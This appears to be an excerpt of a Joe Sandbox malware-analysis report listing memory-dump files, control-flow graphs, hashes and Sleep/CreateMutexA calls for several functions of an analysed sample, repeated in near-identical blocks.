                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: 2063e8e9f57d3bc556e312a8f289e4446b9569420227a5f0cbaa69d90562685c
                                                                                                                                                                                                                                                              • Instruction ID: bd67acd223836627c05950fe9f0b49408c753313cf161b06d6ae1b1e5cb9802b
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2063e8e9f57d3bc556e312a8f289e4446b9569420227a5f0cbaa69d90562685c
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F13128717002048BEB0C9B7CD989BADBB76FF95310F258619E064EB2D5CB3689808B52
                                                                                                                                                                                                                                                              Function 0086A079 Relevance: 3.1, APIs: 2, Instructions: 136sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 275 86a079-86a099 279 86a0c7-86a0e3 275->279 280 86a09b-86a0a7 275->280 281 86a0e5-86a0f1 279->281 282 86a111-86a130 279->282 283 86a0bd-86a0c4 call 87d663 280->283 284 86a0a9-86a0b7 280->284 285 86a107-86a10e call 87d663 281->285 286 86a0f3-86a101 281->286 287 86a132-86a13e 282->287 288 86a15e-86a916 call 8780c0 282->288 283->279 284->283 289 86a930 284->289 285->282 286->285 286->289 294 86a154-86a15b call 87d663 287->294 295 86a140-86a14e 287->295 291 86a953-86a994 Sleep CreateMutexA 289->291 292 86a930 call 896c6a 289->292 304 86a996-86a998 291->304 305 86a9a7-86a9a8 291->305 292->291 294->288 295->289 295->294 304->305 307 86a99a-86a9a5 304->307 307->305
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNEL32(00000064), ref: 0086A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNEL32(00000000,00000000,008C3254), ref: 0086A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: 99ffbadbad2723e5af594d9894d463ee4ad80bc5088ed2e8f8238013b8ed2774
                                                                                                                                                                                                                                                              • Instruction ID: 52225bc0309e9bfb7ba156e87c185ee2a40eae1ae66ef08d65b5c5ffe6f309fc
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 99ffbadbad2723e5af594d9894d463ee4ad80bc5088ed2e8f8238013b8ed2774
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 2831E2717402049BEB0C9B7CDD89BADBA72FB96310F248219E125FB2D5C77699808A52
                                                                                                                                                                                                                                                              Function 0086A1AE Relevance: 3.1, APIs: 2, Instructions: 135sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 309 86a1ae-86a1ce 313 86a1d0-86a1dc 309->313 314 86a1fc-86a218 309->314 315 86a1f2-86a1f9 call 87d663 313->315 316 86a1de-86a1ec 313->316 317 86a246-86a265 314->317 318 86a21a-86a226 314->318 315->314 316->315 321 86a935 316->321 319 86a267-86a273 317->319 320 86a293-86a916 call 8780c0 317->320 323 86a23c-86a243 call 87d663 318->323 324 86a228-86a236 318->324 326 86a275-86a283 319->326 327 86a289-86a290 call 87d663 319->327 330 86a953-86a994 Sleep CreateMutexA 321->330 331 86a935 call 896c6a 321->331 323->317 324->321 324->323 326->321 326->327 327->320 338 86a996-86a998 330->338 339 86a9a7-86a9a8 330->339 331->330 338->339 341 86a99a-86a9a5 338->341 341->339
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNEL32(00000064), ref: 0086A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNEL32(00000000,00000000,008C3254), ref: 0086A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: d736f970224d734c4b8c829f1ae5bed45ccde34da08c2ce9d510a6838b2a35f0
                                                                                                                                                                                                                                                              • Instruction ID: 82e0abaf99d75f3eaaabb17cd70ba9e7de0773a4db55ae49ae81f6ad22242c3f
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: d736f970224d734c4b8c829f1ae5bed45ccde34da08c2ce9d510a6838b2a35f0
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 403102717402059BEB0C9B7CD989BADBB72FB96310F248218E125FB3D5D73699808B52
                                                                                                                                                                                                                                                              Function 0086A418 Relevance: 3.1, APIs: 2, Instructions: 133sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 343 86a418-86a438 347 86a466-86a482 343->347 348 86a43a-86a446 343->348 349 86a484-86a490 347->349 350 86a4b0-86a4cf 347->350 351 86a45c-86a463 call 87d663 348->351 352 86a448-86a456 348->352 355 86a4a6-86a4ad call 87d663 349->355 356 86a492-86a4a0 349->356 357 86a4d1-86a4dd 350->357 358 86a4fd-86a916 call 8780c0 350->358 351->347 352->351 353 86a93f-86a949 call 896c6a * 2 352->353 374 86a94e-86a994 call 896c6a Sleep CreateMutexA 353->374 375 86a949 call 896c6a 353->375 355->350 356->353 356->355 363 86a4f3-86a4fa call 87d663 357->363 364 86a4df-86a4ed 357->364 363->358 364->353 364->363 379 86a996-86a998 374->379 380 86a9a7-86a9a8 374->380 375->374 379->380 381 86a99a-86a9a5 379->381 381->380
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNEL32(00000064), ref: 0086A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNEL32(00000000,00000000,008C3254), ref: 0086A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
